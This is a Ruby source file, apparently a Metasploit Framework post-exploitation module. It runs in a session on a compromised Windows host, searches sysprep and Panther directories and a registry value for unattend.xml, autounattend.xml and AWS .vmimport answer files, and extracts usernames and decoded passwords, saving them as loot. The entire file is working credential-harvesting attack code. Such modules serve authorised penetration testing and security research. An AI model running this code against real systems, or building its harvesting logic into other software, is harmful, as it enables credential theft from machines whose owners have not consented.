Files
metasploit-gs/modules/post/windows/gather/enum_unattend.rb
T
2024-10-23 23:41:20 +01:00

166 lines
4.4 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rexml/document'
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Registry
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Unattended Answer File Enumeration',
'Description' => %q{
This module will check the file system for a copy of unattend.xml and/or
autounattend.xml found in Windows Vista, or newer Windows systems. And then
extract sensitive information such as usernames and decoded passwords. Also
checks for '.vmimport' files that could have been created by the AWS EC2 VMIE service.
},
'License' => MSF_LICENSE,
'Author' => [
'Sean Verity <veritysr1980[at]gmail.com>',
'sinn3r',
'Ben Campbell',
'GhostlyBox'
],
'References' => [
['URL', 'http://technet.microsoft.com/en-us/library/ff715801'],
['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'],
['URL', 'http://technet.microsoft.com/en-us/library/c026170e-40ef-4191-98dd-0b9835bfa580'],
['URL', 'https://aws.amazon.com/security/security-bulletins/AWS-2024-006/'],
['URL', 'https://www.immersivelabs.com/blog/the-return-of-unattend-xml-revenge-of-the-cleartext-credentials/']
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter', 'shell' ]
)
)
register_options(
[
OptBool.new('GETALL', [true, 'Collect all unattend.xml that are found', true])
]
)
end
#
# Determine if unattend.xml exists or not
#
def unattend_exists?(xml_path)
exist?(xml_path)
end
#
# Read and parse the XML file
#
def load_unattend(xml_path)
print_status("Reading #{xml_path}")
raw = read_file(xml_path)
begin
xml = REXML::Document.new(raw)
rescue REXML::ParseException => e
print_error('Invalid XML format')
vprint_line(e.message)
return nil, raw
end
return xml, raw
end
#
# Save Rex tables separately
#
def save_cred_tables(cred_table)
t = cred_table
vprint_line("\n#{t}\n")
p = store_loot('windows.unattended.creds', 'text/plain', session, t.to_csv, t.header, t.header)
print_good("#{t.header} saved as: #{p}")
end
#
# Save the raw version of unattend.xml
#
def save_raw(xmlpath, data)
return if data.empty?
fname = ::File.basename(xmlpath)
p = store_loot('windows.unattended.raw', 'text/plain', session, data)
print_good("Raw version of #{fname} saved as: #{p}")
end
#
# If we spot a path for the answer file, we should check it out too
#
def get_registry_unattend_path
# HKLM\System\Setup!UnattendFile
fname = registry_getvaldata('HKEY_LOCAL_MACHINE\\System\\Setup', 'UnattendFile')&.strip
return fname
end
#
# Initialize all 7 possible paths for the answer file
#
def init_paths
drive = expand_path('%SystemDrive%')
files =
[
'unattend.xml',
'autounattend.xml',
'unattend.xml.vmimport',
'autounattend.xml.vmimport'
]
target_paths =
[
"#{drive}\\",
"#{drive}\\Windows\\System32\\sysprep\\",
"#{drive}\\Windows\\panther\\",
"#{drive}\\Windows\\Panther\Unattend\\",
"#{drive}\\Windows\\System32\\"
]
paths = []
target_paths.each do |p|
files.each do |f|
paths << "#{p}#{f}"
end
end
# If there is one for registry, we add it to the list too
reg_path = get_registry_unattend_path
paths << reg_path unless reg_path.blank?
return paths
end
def run
init_paths.each do |xml_path|
# If unattend.xml doesn't exist, move on to the next one
unless unattend_exists?(xml_path)
vprint_error("#{xml_path} not found")
next
end
xml, raw = load_unattend(xml_path)
save_raw(xml_path, raw)
# XML failed to parse, will not go on from here
return unless xml
results = Rex::Parser::Unattend.parse(xml)
table = Rex::Parser::Unattend.create_table(results)
table.print unless table.nil?
print_line
# Save the data to a file, TODO: Save this as a Mdm::Cred maybe
save_cred_tables(table) unless table.nil?
return unless datastore['GETALL']
end
end
end